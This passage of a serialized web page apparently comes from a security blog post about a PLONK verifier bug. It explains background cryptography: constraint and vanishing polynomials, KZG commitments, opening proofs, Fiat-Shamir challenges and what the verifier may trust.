polynomials",{"type":28,"value":5441},{"type":23,"tag":56,"props":141831,"children":141833},{"className":141832},[2960,2961],[141834],{"type":23,"tag":504,"props":141835,"children":141837},{"className":141836},[2966],[141838],{"type":23,"tag":504,"props":141839,"children":141841},{"className":141840,"ariaHidden":2972},[2971],[141842],{"type":23,"tag":504,"props":141843,"children":141845},{"className":141844},[2977],[141846,141850,141907,141912,141917],{"type":23,"tag":504,"props":141847,"children":141849},{"className":141848,"style":3090},[2982],[],{"type":23,"tag":504,"props":141851,"children":141853},{"className":141852},[2988],[141854,141859],{"type":23,"tag":504,"props":141855,"children":141857},{"className":141856},[2988,20569],[141858],{"type":28,"value":75553},{"type":23,"tag":504,"props":141860,"children":141862},{"className":141861},[3005],[141863],{"type":23,"tag":504,"props":141864,"children":141866},{"className":141865},[3010,20623],[141867,141896],{"type":23,"tag":504,"props":141868,"children":141870},{"className":141869},[3015],[141871,141891],{"type":23,"tag":504,"props":141872,"children":141874},{"className":141873,"style":141353},[3020],[141875],{"type":23,"tag":504,"props":141876,"children":141877},{"style":91854},[141878,141882],{"type":23,"tag":504,"props":141879,"children":141881},{"className":141880,"style":3030},[3029],[],{"type":23,"tag":504,"props":141883,"children":141885},{"className":141884},[3035,3036,3037,3038],[141886],{"type":23,"tag":504,"props":141887,"children":141889},{"className":141888,"style":93806},[2988,20569,3038],[141890],{"type":28,"value":93809},{"type":23,"tag":504,"props":141892,"children":141894},{"className":141893},[20726],[141895],{"type":28,"value":20729},{"type":23,"tag":504,"props":141897,"children":141899},{"className":141898},[3015],[141900],{"type":23,"tag":504,"props":141901,"children":141903},{"className":141902,"style":91881},[3020],[141904],{"type":23,"tag":504,"props":141905,"children":141906},{},[],{"type":23,"tag":504,"props":141908,"children":141910},{"className":141909},[20698],[141911],{"type":28,"value":526},{"type":23,"tag":504,"props":141913,"children":141915},{"className":141914},[2988,20569],[141916],{"type":28,"value":18257},{"type":23,"tag":504,"props":141918,"children":141920},{"className":141919},[20720],[141921],{"type":28,"value":2105},{"type":28,"value":576},{"type":23,"tag":56,"props":141924,"children":141926},{"className":141925},[2960,2961],[141927],{"type":23,"tag":504,"props":141928,"children":141930},{"className":141929},[2966],[141931],{"type":23,"tag":504,"props":141932,"children":141934},{"className":141933,"ariaHidden":2972},[2971],[141935],{"type":23,"tag":504,"props":141936,"children":141938},{"className":141937},[2977],[141939,141943,142000,142005,142010],{"type":23,"tag":504,"props":141940,"children":141942},{"className":141941,"style":3090},[2982],[],{"type":23,"tag":504,"props":141944,"children":141946},{"className":141945},[2988],[141947,141952],{"type":23,"tag":504,"props":141948,"children":141950},{"className":141949},[2988,20569],[141951],{"type":28,"value":75553},{"type":23,"tag":504,"props":141953,"children":141955},{"className":141954},[3005],[141956],{"type":23,"tag":504,"props":141957,"children":141959},{"className":141958},[3010,20623],[141960,141989],{"type":23,"tag":504,"props":141961,"children":141963},{"className":141962},[3015],[141964,141984],{"type":23,"tag":504,"props":141965,"children":141967},{"className":141966,"style":141353},[3020],[141968],{"type":23,"tag":504,"props":141969,"children":141970},{"style":91854},[141971,141975],{"type":23,"tag":504,"props":141972,"children":141974},{"className":141973,"style":3030},[3029],[],{"type":23,"tag":504,"props":141976,"children":141978},{"className":141977},[3035,3036,3037,3038],[141979],{"type":23,"tag":504,"props":141980,"children":141982},{"className":141981},[2988,20569,3038],[141983],{"type":28,"value":116762},{"type":23,"tag":504,"props":141985,"children":141987},{"className":141986},[20726],[141988],{"type":28,"value":20729},{"type":23,"tag":504,"props":141990,"children":141992},{"className":141991},[3015],[141993],{"type":23,"tag":504,"props":141994,"children":141996},{"className":141995,"style":91881},[3020],[141997],{"type":23,"tag":504,"props":141998,"children":141999},{},[],{"type":23,"tag":504,"props":142001,"children":142003},{"className":142002},[20698],[142004],{"type":28,"value":526},{"type":23,"tag":504,"props":142006,"children":142008},{"className":142007},[2988,20569],[142009],{"type":28,"value":18257},{"type":23,"tag":504,"props":142011,"children":142013},{"className":142012},[20720],[142014],{"type":28,"value":2105},{"type":28,"value":142016},", etc., all interpolated over a domain ",{"type":23,"tag":56,"props":142018,"children":142020},{"className":142019},[2960,2961],[142021],{"type":23,"tag":504,"props":142022,"children":142024},{"className":142023},[2966],[142025],{"type":23,"tag":504,"props":142026,"children":142028},{"className":142027,"ariaHidden":2972},[2971],[142029],{"type":23,"tag":504,"props":142030,"children":142032},{"className":142031},[2977],[142033,142037],{"type":23,"tag":504,"props":142034,"children":142036},{"className":142035,"style":20564},[2982],[],{"type":23,"tag":504,"props":142038,"children":142040},{"className":142039,"style":92032},[2988,20569],[142041],{"type":28,"value":92035},{"type":28,"value":142043}," of ",{"type":23,"tag":56,"props":142045,"children":142047},{"className":142046},[2960,2961],[142048],{"type":23,"tag":504,"props":142049,"children":142051},{"className":142050},[2966],[142052],{"type":23,"tag":504,"props":142053,"children":142055},{"className":142054,"ariaHidden":2972},[2971],[142056],{"type":23,"tag":504,"props":142057,"children":142059},{"className":142058},[2977],[142060,142064],{"type":23,"tag":504,"props":142061,"children":142063},{"className":142062,"style":109639},[2982],[],{"type":23,"tag":504,"props":142065,"children":142067},{"className":142066},[2988,20569],[142068],{"type":28,"value":55382},{"type":28,"value":142070},"-th roots of unity. Evaluating ",{"type":23,"tag":56,"props":142072,"children":142074},{"className":142073},[2960,2961],[142075],{"type":23,"tag":504,"props":142076,"children":142078},{"className":142077},[2966],[142079],{"type":23,"tag":504,"props":142080,"children":142082},{"className":142081,"ariaHidden":2972},[2971],[142083],{"type":23,"tag":504,"props":142084,"children":142086},{"className":142085},[2977],[142087,142091,142148,142153,142158],{"type":23,"tag":504,"props":142088,"children":142090},{"className":142089,"style":3090},[2982],[],{"type":23,"tag":504,"props":142092,"children":142094},{"className":142093},[2988],[142095,142100],{"type":23,"tag":504,"props":142096,"children":142098},{"className":142097,"style":94152},[2988,20569],[142099],{"type":28,"value":32062},{"type":23,"tag":504,"props":142101,"children":142103},{"className":142102},[3005],[142104],{"type":23,"tag":504,"props":142105,"children":142107},{"className":142106},[3010,20623],[142108,142137],{"type":23,"tag":504,"props":142109,"children":142111},{"className":142110},[3015],[142112,142132],{"type":23,"tag":504,"props":142113,"children":142115},{"className":142114,"style":141353},[3020],[142116],{"type":23,"tag":504,"props":142117,"children":142118},{"style":94173},[142119,142123],{"type":23,"tag":504,"props":142120,"children":142122},{"className":142121,"style":3030},[3029],[],{"type":23,"tag":504,"props":142124,"children":142126},{"className":142125},[3035,3036,3037,3038],[142127],{"type":23,"tag":504,"props":142128,"children":142130},{"className":142129},[2988,20569,3038],[142131],{"type":28,"value":116762},{"type":23,"tag":504,"props":142133,"children":142135},{"className":142134},[20726],[142136],{"type":28,"value":20729},{"type":23,"tag":504,"props":142138,"children":142140},{"className":142139},[3015],[142141],{"type":23,"tag":504,"props":142142,"children":142144},{"className":142143,"style":91881},[3020],[142145],{"type":23,"tag":504,"props":142146,"children":142147},{},[],{"type":23,"tag":504,"props":142149,"children":142151},{"className":142150},[20698],[142152],{"type":28,"value":526},{"type":23,"tag":504,"props":142154,"children":142156},{"className":142155},[2988,20569],[142157],{"type":28,"value":18257},{"type":23,"tag":504,"props":142159,"children":142161},{"className":142160},[20720],[142162],{"type":28,"value":2105},{"type":28,"value":142164}," at the ",{"type":23,"tag":56,"props":142166,"children":142168},{"className":142167},[2960,2961],[142169],{"type":23,"tag":504,"props":142170,"children":142172},{"className":142171},[2966],[142173],{"type":23,"tag":504,"props":142174,"children":142176},{"className":142175,"ariaHidden":2972},[2971],[142177],{"type":23,"tag":504,"props":142178,"children":142180},{"className":142179},[2977],[142181,142185],{"type":23,"tag":504,"props":142182,"children":142184},{"className":142183,"style":141049},[2982],[],{"type":23,"tag":504,"props":142186,"children":142188},{"className":142187},[2988,20569],[142189],{"type":28,"value":2716},{"type":28,"value":142191},"-th root recovers the left wire value at row ",{"type":23,"tag":56,"props":142193,"children":142195},{"className":142194},[2960,2961],[142196],{"type":23,"tag":504,"props":142197,"children":142199},{"className":142198},[2966],[142200],{"type":23,"tag":504,"props":142201,"children":142203},{"className":142202,"ariaHidden":2972},[2971],[142204],{"type":23,"tag":504,"props":142205,"children":142207},{"className":142206},[2977],[142208,142212],{"type":23,"tag":504,"props":142209,"children":142211},{"className":142210,"style":141049},[2982],[],{"type":23,"tag":504,"props":142213,"children":142215},{"className":142214},[2988,20569],[142216],{"type":28,"value":2716},{"type":28,"value":320},{"type":23,"tag":142219,"props":142220,"children":142221},"polynomial-interpolation-panel",{},[],{"type":23,"tag":24,"props":142223,"children":142224},{},[142225,142227,142267,142269,142335,142337,142467,142469,142509,142511,142551,142553,142593,142594,142716],{"type":28,"value":142226},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":23,"tag":56,"props":142228,"children":142230},{"className":142229},[2960,2961],[142231],{"type":23,"tag":504,"props":142232,"children":142234},{"className":142233},[2966],[142235],{"type":23,"tag":504,"props":142236,"children":142238},{"className":142237,"ariaHidden":2972},[2971],[142239],{"type":23,"tag":504,"props":142240,"children":142242},{"className":142241},[2977],[142243,142247,142252,142257,142262],{"type":23,"tag":504,"props":142244,"children":142246},{"className":142245,"style":3090},[2982],[],{"type":23,"tag":504,"props":142248,"children":142250},{"className":142249,"style":20570},[2988,20569],[142251],{"type":28,"value":120576},{"type":23,"tag":504,"props":142253,"children":142255},{"className":142254},[20698],[142256],{"type":28,"value":526},{"type":23,"tag":504,"props":142258,"children":142260},{"className":142259},[2988,20569],[142261],{"type":28,"value":18257},{"type":23,"tag":504,"props":142263,"children":142265},{"className":142264},[20720],[142266],{"type":28,"value":2105},{"type":28,"value":142268}," that combines selectors and witnesses. If the prover was honest, ",{"type":23,"tag":56,"props":142270,"children":142272},{"className":142271},[2960,2961],[142273],{"type":23,"tag":504,"props":142274,"children":142276},{"className":142275},[2966],[142277],{"type":23,"tag":504,"props":142278,"children":142280},{"className":142279,"ariaHidden":2972},[2971],[142281,142322],{"type":23,"tag":504,"props":142282,"children":142284},{"className":142283},[2977],[142285,142289,142294,142299,142304,142309,142313,142318],{"type":23,"tag":504,"props":142286,"children":142288},{"className":142287,"style":3090},[2982],[],{"type":23,"tag":504,"props":142290,"children":142292},{"className":142291,"style":20570},[2988,20569],[142293],{"type":28,"value":120576},{"type":23,"tag":504,"props":142295,"children":142297},{"className":142296},[20698],[142298],{"type":28,"value":526},{"type":23,"tag":504,"props":142300,"children":142302},{"className":142301},[2988,20569],[142303],{"type":28,"value":18257},{"type":23,"tag":504,"props":142305,"children":142307},{"className":142306},[20720],[142308],{"type":28,"value":2105},{"type":23,"tag":504,"props":142310,"children":142312},{"className":142311,"style":3167},[3069],[],{"type":23,"tag":504,"props":142314,"children":142316},{"className":142315},[3172],[142317],{"type":28,"value":601},{"type":23,"tag":504,"props":142319,"children":142321},{"className":142320,"style":3167},[3069],[],{"type":23,"tag":504,"props":142323,"children":142325},{"className":142324},[2977],[142326,142330],{"type":23,"tag":504,"props":142327,"children":142329},{"className":142328,"style":92829},[2982],[],{"type":23,"tag":504,"props":142331,"children":142333},{"className":142332},[2988],[142334],{"type":28,"value":3001},{"type":28,"value":142336}," at every row index in the domain. The vanishing polynomial ",{"type":23,"tag":56,"props":142338,"children":142340},{"className":142339},[2960,2961],[142341],{"type":23,"tag":504,"props":142342,"children":142344},{"className":142343},[2966],[142345],{"type":23,"tag":504,"props":142346,"children":142348},{"className":142347,"ariaHidden":2972},[2971],[142349,142391,142454],{"type":23,"tag":504,"props":142350,"children":142352},{"className":142351},[2977],[142353,142357,142363,142368,142373,142378,142382,142387],{"type":23,"tag":504,"props":142354,"children":142356},{"className":142355,"style":3090},[2982],[],{"type":23,"tag":504,"props":142358,"children":142360},{"className":142359,"style":21101},[2988,20569],[142361],{"type":28,"value":142362},"Z",{"type":23,"tag":504,"props":142364,"children":142366},{"className":142365},[20698],[142367],{"type":28,"value":526},{"type":23,"tag":504,"props":142369,"children":142371},{"className":142370},[2988,20569],[142372],{"type":28,"value":18257},{"type":23,"tag":504,"props":142374,"children":142376},{"className":142375},[20720],[142377],{"type":28,"value":2105},{"type":23,"tag":504,"props":142379,"children":142381},{"className":142380,"style":3167},[3069],[],{"type":23,"tag":504,"props":142383,"children":142385},{"className":142384},[3172],[142386],{"type":28,"value":601},{"type":23,"tag":504,"props":142388,"children":142390},{"className":142389,"style":3167},[3069],[],{"type":23,"tag":504,"props":142392,"children":142394},{"className":142393},[2977],[142395,142400,142441,142445,142450],{"type":23,"tag":504,"props":142396,"children":142399},{"className":142397,"style":142398},[2982],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":23,"tag":504,"props":142401,"children":142403},{"className":142402},[2988],[142404,142409],{"type":23,"tag":504,"props":142405,"children":142407},{"className":142406},[2988,20569],[142408],{"type":28,"value":18257},{"type":23,"tag":504,"props":142410,"children":142412},{"className":142411},[3005],[142413],{"type":23,"tag":504,"props":142414,"children":142416},{"className":142415},[3010],[142417],{"type":23,"tag":504,"props":142418,"children":142420},{"className":142419},[3015],[142421],{"type":23,"tag":504,"props":142422,"children":142424},{"className":142423,"style":107515},[3020],[142425],{"type":23,"tag":504,"props":142426,"children":142427},{"style":3024},[142428,142432],{"type":23,"tag":504,"props":142429,"children":142431},{"className":142430,"style":3030},[3029],[],{"type":23,"tag":504,"props":142433,"children":142435},{"className":142434},[3035,3036,3037,3038],[142436],{"type":23,"tag":504,"props":142437,"children":142439},{"className":142438},[2988,20569,3038],[142440],{"type":28,"value":55382},{"type":23,"tag":504,"props":142442,"children":142444},{"className":142443,"style":3070},[3069],[],{"type":23,"tag":504,"props":142446,"children":142448},{"className":142447},[3075],[142449],{"type":28,"value":3049},{"type":23,"tag":504,"props":142451,"children":142453},{"className":142452,"style":3070},[3069],[],{"type":23,"tag":504,"props":142455,"children":142457},{"className":142456},[2977],[142458,142462],{"type":23,"tag":504,"props":142459,"children":142461},{"className":142460,"style":92829},[2982],[],{"type":23,"tag":504,"props":142463,"children":142465},{"className":142464},[2988],[142466],{"type":28,"value":2991},{"type":28,"value":142468}," is zero on exactly those points, so if all constraints hold then ",{"type":23,"tag":56,"props":142470,"children":142472},{"className":142471},[2960,2961],[142473],{"type":23,"tag":504,"props":142474,"children":142476},{"className":142475},[2966],[142477],{"type":23,"tag":504,"props":142478,"children":142480},{"className":142479,"ariaHidden":2972},[2971],[142481],{"type":23,"tag":504,"props":142482,"children":142484},{"className":142483},[2977],[142485,142489,142494,142499,142504],{"type":23,"tag":504,"props":142486,"children":142488},{"className":142487,"style":3090},[2982],[],{"type":23,"tag":504,"props":142490,"children":142492},{"className":142491,"style":21101},[2988,20569],[142493],{"type":28,"value":142362},{"type":23,"tag":504,"props":142495,"children":142497},{"className":142496},[20698],[142498],{"type":28,"value":526},{"type":23,"tag":504,"props":142500,"children":142502},{"className":142501},[2988,20569],[142503],{"type":28,"value":18257},{"type":23,"tag":504,"props":142505,"children":142507},{"className":142506},[20720],[142508],{"type":28,"value":2105},{"type":28,"value":142510}," divides ",{"type":23,"tag":56,"props":142512,"children":142514},{"className":142513},[2960,2961],[142515],{"type":23,"tag":504,"props":142516,"children":142518},{"className":142517},[2966],[142519],{"type":23,"tag":504,"props":142520,"children":142522},{"className":142521,"ariaHidden":2972},[2971],[142523],{"type":23,"tag":504,"props":142524,"children":142526},{"className":142525},[2977],[142527,142531,142536,142541,142546],{"type":23,"tag":504,"props":142528,"children":142530},{"className":142529,"style":3090},[2982],[],{"type":23,"tag":504,"props":142532,"children":142534},{"className":142533,"style":20570},[2988,20569],[142535],{"type":28,"value":120576},{"type":23,"tag":504,"props":142537,"children":142539},{"className":142538},[20698],[142540],{"type":28,"value":526},{"type":23,"tag":504,"props":142542,"children":142544},{"className":142543},[2988,20569],[142545],{"type":28,"value":18257},{"type":23,"tag":504,"props":142547,"children":142549},{"className":142548},[20720],[142550],{"type":28,"value":2105},{"type":28,"value":142552},", yielding a quotient polynomial ",{"type":23,"tag":56,"props":142554,"children":142556},{"className":142555},[2960,2961],[142557],{"type":23,"tag":504,"props":142558,"children":142560},{"className":142559},[2966],[142561],{"type":23,"tag":504,"props":142562,"children":142564},{"className":142563,"ariaHidden":2972},[2971],[142565],{"type":23,"tag":504,"props":142566,"children":142568},{"className":142567},[2977],[142569,142573,142578,142583,142588],{"type":23,"tag":504,"props":142570,"children":142572},{"className":142571,"style":3090},[2982],[],{"type":23,"tag":504,"props":142574,"children":142576},{"className":142575,"style":20570},[2988,20569],[142577],{"type":28,"value":4971},{"type":23,"tag":504,"props":142579,"children":142581},{"className":142580},[20698],[142582],{"type":28,"value":526},{"type":23,"tag":504,"props":142584,"children":142586},{"className":142585},[2988,20569],[142587],{"type":28,"value":18257},{"type":23,"tag":504,"props":142589,"children":142591},{"className":142590},[20720],[142592],{"type":28,"value":2105},{"type":28,"value":20485},{"type":23,"tag":56,"props":142595,"children":142597},{"className":142596},[2960,2961],[142598],{"type":23,"tag":504,"props":142599,"children":142601},{"className":142600},[2966],[142602],{"type":23,"tag":504,"props":142603,"children":142605},{"className":142604,"ariaHidden":2972},[2971],[142606,142647,142688],{"type":23,"tag":504,"props":142607,"children":142609},{"className":142608},[2977],[142610,142614,142619,142624,142629,142634,142638,142643],{"type":23,"tag":504,"props":142611,"children":142613},{"className":142612,"style":3090},[2982],[],{"type":23,"tag":504,"props":142615,"children":142617},{"className":142616,"style":20570},[2988,20569],[142618],{"type":28,"value":120576},{"type":23,"tag":504,"props":142620,"children":142622},{"className":142621},[20698],[142623],{"type":28,"value":526},{"type":23,"tag":504,"props":142625,"children":142627},{"className":142626},[2988,20569],[142628],{"type":28,"value":18257},{"type":23,"tag":504,"props":142630,"children":142632},{"className":142631},[20720],[142633],{"type":28,"value":2105},{"type":23,"tag":504,"props":142635,"children":142637},{"className":142636,"style":3167},[3069],[],{"type":23,"tag":504,"props":142639,"children":142641},{"className":142640},[3172],[142642],{"type":28,"value":601},{"type":23,"tag":504,"props":142644,"children":142646},{"className":142645,"style":3167},[3069],[],{"type":23,"tag":504,"props":142648,"children":142650},{"className":142649},[2977],[142651,142655,142660,142665,142670,142675,142679,142684],{"type":23,"tag":504,"props":142652,"children":142654},{"className":142653,"style":3090},[2982],[],{"type":23,"tag":504,"props":142656,"children":142658},{"className":142657,"style":20570},[2988,20569],[142659],{"type":28,"value":4971},{"type":23,"tag":504,"props":142661,"children":142663},{"className":142662},[20698],[142664],{"type":28,"value":526},{"type":23,"tag":504,"props":142666,"children":142668},{"className":142667},[2988,20569],[142669],{"type":28,"value":18257},{"type":23,"tag":504,"props":142671,"children":142673},{"className":142672},[20720],[142674],{"type":28,"value":2105},{"type":23,"tag":504,"props":142676,"children":142678},{"className":142677,"style":3070},[3069],[],{"type":23,"tag":504,"props":142680,"children":142682},{"className":142681},[3075],[142683],{"type":28,"value":110060},{"type":23,"tag":504,"props":142685,"children":142687},{"className":142686,"style":3070},[3069],[],{"type":23,"tag":504,"props":142689,"children":142691},{"className":142690},[2977],[142692,142696,142701,142706,142711],{"type":23,"tag":504,"props":142693,"children":142695},{"className":142694,"style":3090},[2982],[],{"type":23,"tag":504,"props":142697,"children":142699},{"className":142698,"style":21101},[2988,20569],[142700],{"type":28,"value":142362},{"type":23,"tag":504,"props":142702,"children":142704},{"className":142703},[20698],[142705],{"type":28,"value":526},{"type":23,"tag":504,"props":142707,"children":142709},{"className":142708},[2988,20569],[142710],{"type":28,"value":18257},{"type":23,"tag":504,"props":142712,"children":142714},{"className":142713},[20720],[142715],{"type":28,"value":2105},{"type":28,"value":320},{"type":23,"tag":24,"props":142718,"children":142719},{},[142720],{"type":23,"tag":126,"props":142721,"children":142724},{"alt":142722,"src":142723},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":23,"tag":82,"props":142726,"children":142728},{"id":142727},"polynomial-commitments-and-opening-proofs",[142729],{"type":28,"value":142730},"Polynomial commitments and opening proofs",{"type":23,"tag":24,"props":142732,"children":142733},{},[142734,142736,142741,142743,142748],{"type":28,"value":142735},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":23,"tag":1887,"props":142737,"children":142738},{},[142739],{"type":28,"value":142740},"commitments",{"type":28,"value":142742},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":23,"tag":1887,"props":142744,"children":142745},{},[142746],{"type":28,"value":142747},"opening proof",{"type":28,"value":142749}," that the claimed value is consistent with the earlier commitment.",{"type":23,"tag":24,"props":142751,"children":142752},{},[142753],{"type":28,"value":142754},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":23,"tag":82,"props":142756,"children":142758},{"id":142757},"reducing-to-a-single-random-point",[142759],{"type":28,"value":142760},"Reducing to a single random point",{"type":23,"tag":24,"props":142762,"children":142763},{},[142764,142766,142806,142808,142833,142835,142957,142959,142984],{"type":28,"value":142765},"After the prover commits to all polynomials, including ",{"type":23,"tag":56,"props":142767,"children":142769},{"className":142768},[2960,2961],[142770],{"type":23,"tag":504,"props":142771,"children":142773},{"className":142772},[2966],[142774],{"type":23,"tag":504,"props":142775,"children":142777},{"className":142776,"ariaHidden":2972},[2971],[142778],{"type":23,"tag":504,"props":142779,"children":142781},{"className":142780},[2977],[142782,142786,142791,142796,142801],{"type":23,"tag":504,"props":142783,"children":142785},{"className":142784,"style":3090},[2982],[],{"type":23,"tag":504,"props":142787,"children":142789},{"className":142788,"style":20570},[2988,20569],[142790],{"type":28,"value":4971},{"type":23,"tag":504,"props":142792,"children":142794},{"className":142793},[20698],[142795],{"type":28,"value":526},{"type":23,"tag":504,"props":142797,"children":142799},{"className":142798},[2988,20569],[142800],{"type":28,"value":18257},{"type":23,"tag":504,"props":142802,"children":142804},{"className":142803},[20720],[142805],{"type":28,"value":2105},{"type":28,"value":142807},", the verifier picks a random challenge point ",{"type":23,"tag":56,"props":142809,"children":142811},{"className":142810},[2960,2961],[142812],{"type":23,"tag":504,"props":142813,"children":142815},{"className":142814},[2966],[142816],{"type":23,"tag":504,"props":142817,"children":142819},{"className":142818,"ariaHidden":2972},[2971],[142820],{"type":23,"tag":504,"props":142821,"children":142823},{"className":142822},[2977],[142824,142828],{"type":23,"tag":504,"props":142825,"children":142827},{"className":142826,"style":109639},[2982],[],{"type":23,"tag":504,"props":142829,"children":142831},{"className":142830,"style":112355},[2988,20569],[142832],{"type":28,"value":112358},{"type":28,"value":142834}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":23,"tag":56,"props":142836,"children":142838},{"className":142837},[2960,2961],[142839],{"type":23,"tag":504,"props":142840,"children":142842},{"className":142841},[2966],[142843],{"type":23,"tag":504,"props":142844,"children":142846},{"className":142845,"ariaHidden":2972},[2971],[142847,142888,142929],{"type":23,"tag":504,"props":142848,"children":142850},{"className":142849},[2977],[142851,142855,142860,142865,142870,142875,142879,142884],{"type":23,"tag":504,"props":142852,"children":142854},{"className":142853,"style":3090},[2982],[],{"type":23,"tag":504,"props":142856,"children":142858},{"className":142857,"style":20570},[2988,20569],[142859],{"type":28,"value":120576},{"type":23,"tag":504,"props":142861,"children":142863},{"className":142862},[20698],[142864],{"type":28,"value":526},{"type":23,"tag":504,"props":142866,"children":142868},{"className":142867,"style":112355},[2988,20569],[142869],{"type":28,"value":112358},{"type":23,"tag":504,"props":142871,"children":142873},{"className":142872},[20720],[142874],{"type":28,"value":2105},{"type":23,"tag":504,"props":142876,"children":142878},{"className":142877,"style":3167},[3069],[],{"type":23,"tag":504,"props":142880,"children":142882},{"className":142881},[3172],[142883],{"type":28,"value":601},{"type":23,"tag":504,"props":142885,"children":142887},{"className":142886,"style":3167},[3069],[],{"type":23,"tag":504,"props":142889,"children":142891},{"className":142890},[2977],[142892,142896,142901,142906,142911,142916,142920,142925],{"type":23,"tag":504,"props":142893,"children":142895},{"className":142894,"style":3090},[2982],[],{"type":23,"tag":504,"props":142897,"children":142899},{"className":142898,"style":20570},[2988,20569],[142900],{"type":28,"value":4971},{"type":23,"tag":504,"props":142902,"children":142904},{"className":142903},[20698],[142905],{"type":28,"value":526},{"type":23,"tag":504,"props":142907,"children":142909},{"className":142908,"style":112355},[2988,20569],[142910],{"type":28,"value":112358},{"type":23,"tag":504,"props":142912,"children":142914},{"className":142913},[20720],[142915],{"type":28,"value":2105},{"type":23,"tag":504,"props":142917,"children":142919},{"className":142918,"style":3070},[3069],[],{"type":23,"tag":504,"props":142921,"children":142923},{"className":142922},[3075],[142924],{"type":28,"value":110060},{"type":23,"tag":504,"props":142926,"children":142928},{"className":142927,"style":3070},[3069],[],{"type":23,"tag":504,"props":142930,"children":142932},{"className":142931},[2977],[142933,142937,142942,142947,142952],{"type":23,"tag":504,"props":142934,"children":142936},{"className":142935,"style":3090},[2982],[],{"type":23,"tag":504,"props":142938,"children":142940},{"className":142939,"style":21101},[2988,20569],[142941],{"type":28,"value":142362},{"type":23,"tag":504,"props":142943,"children":142945},{"className":142944},[20698],[142946],{"type":28,"value":526},{"type":23,"tag":504,"props":142948,"children":142950},{"className":142949,"style":112355},[2988,20569],[142951],{"type":28,"value":112358},{"type":23,"tag":504,"props":142953,"children":142955},{"className":142954},[20720],[142956],{"type":28,"value":2105},{"type":28,"value":142958}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":23,"tag":56,"props":142960,"children":142962},{"className":142961},[2960,2961],[142963],{"type":23,"tag":504,"props":142964,"children":142966},{"className":142965},[2966],[142967],{"type":23,"tag":504,"props":142968,"children":142970},{"className":142969,"ariaHidden":2972},[2971],[142971],{"type":23,"tag":504,"props":142972,"children":142974},{"className":142973},[2977],[142975,142979],{"type":23,"tag":504,"props":142976,"children":142978},{"className":142977,"style":109639},[2982],[],{"type":23,"tag":504,"props":142980,"children":142982},{"className":142981,"style":112355},[2988,20569],[142983],{"type":28,"value":112358},{"type":28,"value":142985}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":23,"tag":24,"props":142987,"children":142988},{},[142989,142991,143016,143018,143023],{"type":28,"value":142990},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":23,"tag":56,"props":142992,"children":142994},{"className":142993},[2960,2961],[142995],{"type":23,"tag":504,"props":142996,"children":142998},{"className":142997},[2966],[142999],{"type":23,"tag":504,"props":143000,"children":143002},{"className":143001,"ariaHidden":2972},[2971],[143003],{"type":23,"tag":504,"props":143004,"children":143006},{"className":143005},[2977],[143007,143011],{"type":23,"tag":504,"props":143008,"children":143010},{"className":143009,"style":109639},[2982],[],{"type":23,"tag":504,"props":143012,"children":143014},{"className":143013,"style":112355},[2988,20569],[143015],{"type":28,"value":112358},{"type":28,"value":143017},", the prover supplies ",{"type":23,"tag":1887,"props":143019,"children":143020},{},[143021],{"type":28,"value":143022},"evaluation claims",{"type":28,"value":143024}," that must be checked against those commitments with opening proofs.",{"type":23,"tag":24,"props":143026,"children":143027},{},[143028,143030,143034],{"type":28,"value":143029},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":23,"tag":1887,"props":143031,"children":143032},{},[143033],{"type":28,"value":103342},{"type":28,"value":143035}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":23,"tag":82,"props":143037,"children":143039},{"id":143038},"what-the-verifier-is-actually-allowed-to-trust",[143040],{"type":28,"value":143041},"What the verifier is actually allowed to trust",{"type":23,"tag":24,"props":143043,"children":143044},{},[143045,143047,143052],{"type":28,"value":143046},"For this bug, one invariant matters more than the rest: ",{"type":23,"tag":296,"props":143048,"children":143049},{},[143050],{"type":28,"value":143051},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":28,"value":320},{"type":23,"tag":24,"props":143054,"children":143055},{},[143056,143058,143150,143151,143243,143245,143270,143272,143312,143313,143353,143354,143447,143448,143494,143496,143583,143584,143671,143672,143759],{"type":28,"value":143057},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":23,"tag":56,"props":143059,"children":143061},{"className":143060},[2960,2961],[143062],{"type":23,"tag":504,"props":143063,"children":143065},{"className":143064},[2966],[143066],{"type":23,"tag":504,"props":143067,"children":143069},{"className":143068,"ariaHidden":2972},[2971],[143070],{"type":23,"tag":504,"props":143071,"children":143073},{"className":143072},[2977],[143074,143078,143135,143140,143145],{"type":23,"tag":504,"props":143075,"children":143077},{"className":143076,"style":3090},[2982],[],{"type":23,"tag":504,"props":143079,"children":143081},{"className":143080},[2988],[143082,143087],{"type":23,"tag":504,"props":143083,"children":143085},{"className":143084,"style":21101},[2988,20569],[143086],{"type":28,"value":142362},{"type":23,"tag":504,"props":143088,"children":143090},{"className":143089},[3005],[143091],{"type":23,"tag":504,"props":143092,"children":143094},{"className":143093},[3010,20623],[143095,143124],{"type":23,"tag":504,"props":143096,"children":143098},{"className":143097},[3015],[143099,143119],{"type":23,"tag":504,"props":143100,"children":143102},{"className":143101,"style":141353},[3020],[143103],{"type":23,"tag":504,"props":143104,"children":143105},{"style":115047},[143106,143110],{"type":23,"tag":504,"props":143107,"children":143109},{"className":143108,"style":3030},[3029],[],{"type":23,"tag":504,"props":143111,"children":143113},{"className":143112},[3035,3036,3037,3038],[143114],{"type":23,"tag":504,"props":143115,"children":143117},{"className":143116,"style":92032},[2988,20569,3038],[143118],{"type":28,"value":92035},{"type":23,"tag":504,"props":143120,"children":143122},{"className":143121},[20726],[143123],{"type":28,"value":20729},{"type":23,"tag":504,"props":143125,"children":143127},{"className":143126},[3015],[143128],{"type":23,"tag":504,"props":143129,"children":143131},{"className":143130,"style":91881},[3020],[143132],{"type":23,